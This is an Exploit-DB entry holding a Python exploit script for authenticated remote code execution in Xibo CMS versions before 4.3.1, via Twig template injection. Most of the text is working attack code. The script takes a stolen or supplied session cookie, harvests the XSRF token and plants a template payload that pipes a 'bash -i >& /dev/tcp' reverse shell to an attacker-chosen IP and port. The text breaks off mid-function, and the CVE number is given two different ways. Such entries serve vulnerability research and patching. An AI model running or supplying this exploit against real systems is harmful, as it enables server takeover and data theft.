Exploit-DB #52516
Description: Xibo CMS  4.3.0 - RCE via SSTI
Type: webapps
Platform: multiple
Date: 2026-04-29
Author: Cristian Branet

Exploit:
# Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI
# Date: 2025-11-04
# Exploit Author: Cristian Branet
# Vendor Homepage: https://xibosignage.com/
# Software Link: https://github.com/xibosignage/xibo-cms/
# Version: < 4.3.1
# Tested on: Linux (Ubuntu 22.04)
# CVE : CVE-2025-62639
# Article: https://cristibtz.github.io/posts/CVE-2025-62369/

import requests, argparse, pyfiglet, re, json, time

parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)")
parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID")
parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell")
parser.add_argument("-p", "--port", required=True, help="Port for reverse shell")

class Exploit:
    
    def __init__(self, url, session, ip, port):
        self.url = url
        self.session = session
        self.ip = ip
        self.port = port
        self.headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
        }

    def get_xsrf_token(self):

        try:            
            response = requests.get(f"{url}/statusdashboard", headers=self.headers)
        except Exception as e:
            print(f"Error connecting to {url}: {e}")
            exit(1)

        text = response.text

        pattern = r'name="token" content="([a-f0-9]+)"'
        
        try:
            xsrf_token = re.search(pattern, text).group(1)
        except Exception as e:
            print(f"Error extracting XSRF token: {e}")
            exit(1)

        return xsrf_token

    def create_module_template(self, xsrf_token):

        timestamp = int(time.time())

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId": f"exploit_poc_{timestamp}", 
            "title": "Template for PoC",
            "dataType": "article",
            "copyTemplateId": "",
            "showIn": "layout"
        }    

        try:
            response = requests.post(f"{self.url}/developer/template", data=data, headers=headers)
        except Exception as e:
            print(f"Error creating module template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        template_id = response_info["id"]

        return template_id, timestamp, f"exploit_poc_{timestamp}"


    def update_module_template(self, xsrf_token, template_id, name):

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId":f"{name}",
            "title": f"Template for PoC - {name}",
            "dataType": "article",
            "showIn": "layout",
            "enabled": "on",
            "developer-template-properties": [],
            "properties": [],
            "twig": '<div style="background: red; color: white; font-size: 24px; padding: 20px;">Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}} <br></div>',
            "hbs": "",
            "style": "",
            "head": "",
            "onTemplateRender": "",
            "onTemplateVisible": "",
            "isInvalidateWidget": "on"
        }    

        try:
            response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers)
        except Exception as e:
            print(f"Error updating module template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        return response_info["success"]

    def create_normal_template(self, xsrf_token):

        timestamp = int(time.time())

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "folderId": 1,
            "name": f"exploit_poc_template_{timestamp}",
            "tags": "",
            "tagValueInput": "",
            "resolutionId": 1,
            "description": "Exploit template"
        }    

        try:
            response = requests.post(f"{self.url}/template", data=data, headers=headers)
        except Exception as e:
            print(f"Error creating normal template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        template_id = response_info["id"]
        layout_id = response_info["data"]["layoutId"]
        region_id = response_info["data"]["regions"][0]["regionId"]
        playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"]

        return template_id, layout_id, region_id, playlist_id

    def add_rss_widget(self, xsrf_token, playlist_id, name):
        
        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{x